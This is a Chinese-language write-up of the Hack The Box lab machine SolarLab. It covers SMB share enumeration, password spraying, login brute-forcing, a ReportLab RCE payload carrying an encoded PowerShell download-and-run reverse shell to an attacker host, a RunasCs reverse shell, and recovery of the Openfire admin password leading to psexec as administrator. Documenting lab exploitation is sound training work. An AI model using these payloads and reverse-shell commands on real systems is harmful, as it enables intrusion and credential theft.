HTB 靶机 SolarLab Write-up(Medium)
一、初步侦察与立足点获取
1.1 端口探测与服务识别
先进行端口探测,开放了 80、445、6791 等端口,其中 80 和 6791 都是 Web 服务,445 运行 smb 服务,是一台 Windows 服务器。其中 80 和 6791 分别重定向到 http://solarlab.htb
和 http://report.solarlab.htb:6791
,添加到 dns 解析。
sudo nmap 10.10.11.16 -p- --min-rate=5000 -A
1.2 SMB 服务枚举与凭证发现
先枚举 smb 服务,分别尝试空会话认证和匿名登录,其中匿名登录成功获取到了共享目录。
# 空会话认证
nxc smb 10.10.11.16 --shares
# 匿名登录
nxc smb 10.10.11.16 -u '.' -p '' --shares
共享目录中有一个 Documents
目录比较特别,将所有的可读文件都下载下来。
nxc smb 10.10.11.16 -u '.' -p '' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10000000
打开下载的文件一一审查,发现其中一个 excel 表中存储有一些凭证信息,将这些凭证全都保存下来,分别存储为 users.txt
和 passwords.txt
。
Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn
接着通过暴力破解 RID 枚举 Windows 用户,发现了 3 个本地用户,administrator、blake 和 openfire。
nxc smb 10.10.11.16 -u '.' -p '' --rid-brute 10000
把这 3 个用户和上述密码进行喷洒,成功命中 blake:ThisCanB3typedeasily1@
。
nxc smb 10.10.11.16 -u local_users.txt -p passwords.txt --continue-on-success
1.3 Web 服务枚举 (solarlab.htb)
这台 Windows 没开启 rdp 和 winrm 等服务,没办法直接登录,先看 Web 服务的情况。简单浏览一下,发现 80 端口的是一个静态网站,其中有提到三个成员,能看到他们的开发 BLAKE BYTE 也是机器用户。
1.4 Web 服务枚举与登录 (report.solarlab.htb)
打开 6791 端口的网站是一个登录页面,尝试弱口令和 sql 注入未果。
使用 users.txt
和 passwords.txt
中的凭证进行登录框爆破,都没有成功,但是发现了返回信息泄露出存在的用户名,从结果来看,ClaudiaS
和 AlexanderK
是存在的。
这两个用户名很明显就是 firstname 和 lastname 的结合,推测还有一个用户 BlakeB
。
将 BlakeB
添加到字典,成功爆破得到一组凭证 BlakeB:ThisCanB3typedeasily1@
,blake 的密码其实还是和前面一样,只是用户名有变化。
1.5 利用 ReportLab RCE 获取初始访问权限 (blake)
登录网站,是一个提交审批的系统,其中有 4 个选项。
简单浏览了下,这 4 个都差不多,点开后都是一个富文本编辑器,提交信息并上传图片后会生成一个 PDF。
将 PDF 文件下载到本地,审计该文件的元数据,显示是用 ReportLab 创建的。
搜索该组件,存在 RCE 漏洞,无论如何,尝试利用一下。
根据漏洞描述,我们可以在生成 PDF 前插入 html 代码,并在其中植入命令,在 PDF 被生成时执行。
构造一个反弹 shell 的 payload,其中执行的 powershell 命令用 Windows 的 utf-16le 格式进行 base64 编码。
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEANwAvAHIAZQB2AC4AcABzADEAJwApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit
</font></para>
其原本的命令如下,远程加载并执行 nishang 的反弹 shell 脚本。
IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.17/rev.ps1')
将该 payload 植入富文本编辑器,提交输入。测试发现文本框有输入字符上限,选择在其他字段植入。
命令执行成功,获得一个 shell。查看用户权限属于 blake,且没有可用作提权的特权。
二、权限提升与横向移动
2.1 blake 用户权限下的信息搜集 (users.db
)
知道有 Web 服务,尝试寻找其配置文件是必须要做的事情。很容易就在项目目录中发现了一个 users.db
文件,将其传输到 kali 上。
# kali
impacket-smbserver -smb2support test .
# 目标Windows
Copy-Item -Path "C:\Users\blake\Documents\app\instance\users.db" -Destination "\\10.10.14.17\test\users.db"
在 users.db
中找到 3 组凭证,也就是审批系统的 3 个账号,将另外两个密码加入 passwords.txt
。
2.2 密码喷洒获取 openfire
用户凭证
进行新的一次密码喷洒,成功命中 openfire:HotP!fireguard
。
nxc smb 10.10.11.16 -u local_users.txt -p passwords.txt --continue-on-success
2.3 横向移动至 openfire
用户
既然有了 openfire
的密码,我们就先拿到它的权限再说。将 RunasCs
上传到目标机器上,输入 openfire
的凭证,反弹拿到一个新的 shell。
.\runascs.exe openfire HotP!fireguard powershell.exe -r 10.10.14.17:53 --bypass-uac
三、最终提权至 Administrator
3.1 openfire
用户权限下的信息搜集 (Openfire 服务)
openfire
也没看到有能直接利用的特权,用户目录中也没找到有用的信息。接下来枚举端口监听情况,看到有 5985 的 winrm 服务开启,但之前 nmap 没扫描出来,可能是防火墙拦截的原因。此外有大量端口开启,都是来自同一个进程。
netstat -ano
查看该进程情况,属于用户 openfire,进程名叫 openfire-service.exe
。
tasklist /v /fi "PID eq 3156"
这个进程并不是 administrator 启动的,用户 openfire 的权限我们已经有了,似乎去利用它价值不大。无论如何,先搜索看看这是个什么东西。
一番搜索发现,openfire 原来是一个开源的服务器,是有 Web 界面的。
针对这个服务,有两点思路:
- 将端口转发到本地,访问该服务器,或许可以从 Web 界面中找到一些敏感信息。
- 直接找这个项目的源码,尝试在其配置文件中找到凭证。
3.2 分析 Openfire 服务配置与数据库脚本
第二种方式简单些,那就先尝试找源码,很轻松就在 Program Files
目录下找到了 openfire
的源码。
在项目中翻找一番找到了一个 openfire.script
文件,似乎是用来创建数据库的脚本,里面写了 admin
用户的密码,不过是加密的。
3.3 解密 Openfire 管理员密码
搜索有没有解密的办法,很顺利就在 github 上找到了一个项目,需要提供密码哈希和密钥,正好这个脚本文件中都写着有。
输入 hash 和密钥,成功解密出密码 ThisPasswordShouldDo!@
。
java -jar OpenFire-1.0-SNAPSHOT-jar-with-dependencies.jar
3.4 利用解密密码获取 Administrator 权限
试试这个密码是否是 administrator
的密码,尝试 psexec
登录目标主机。结果很显然,成功获得 system 权限。
impacket-psexec administrator:'ThisPasswordShouldDo!@'@10.10.11.16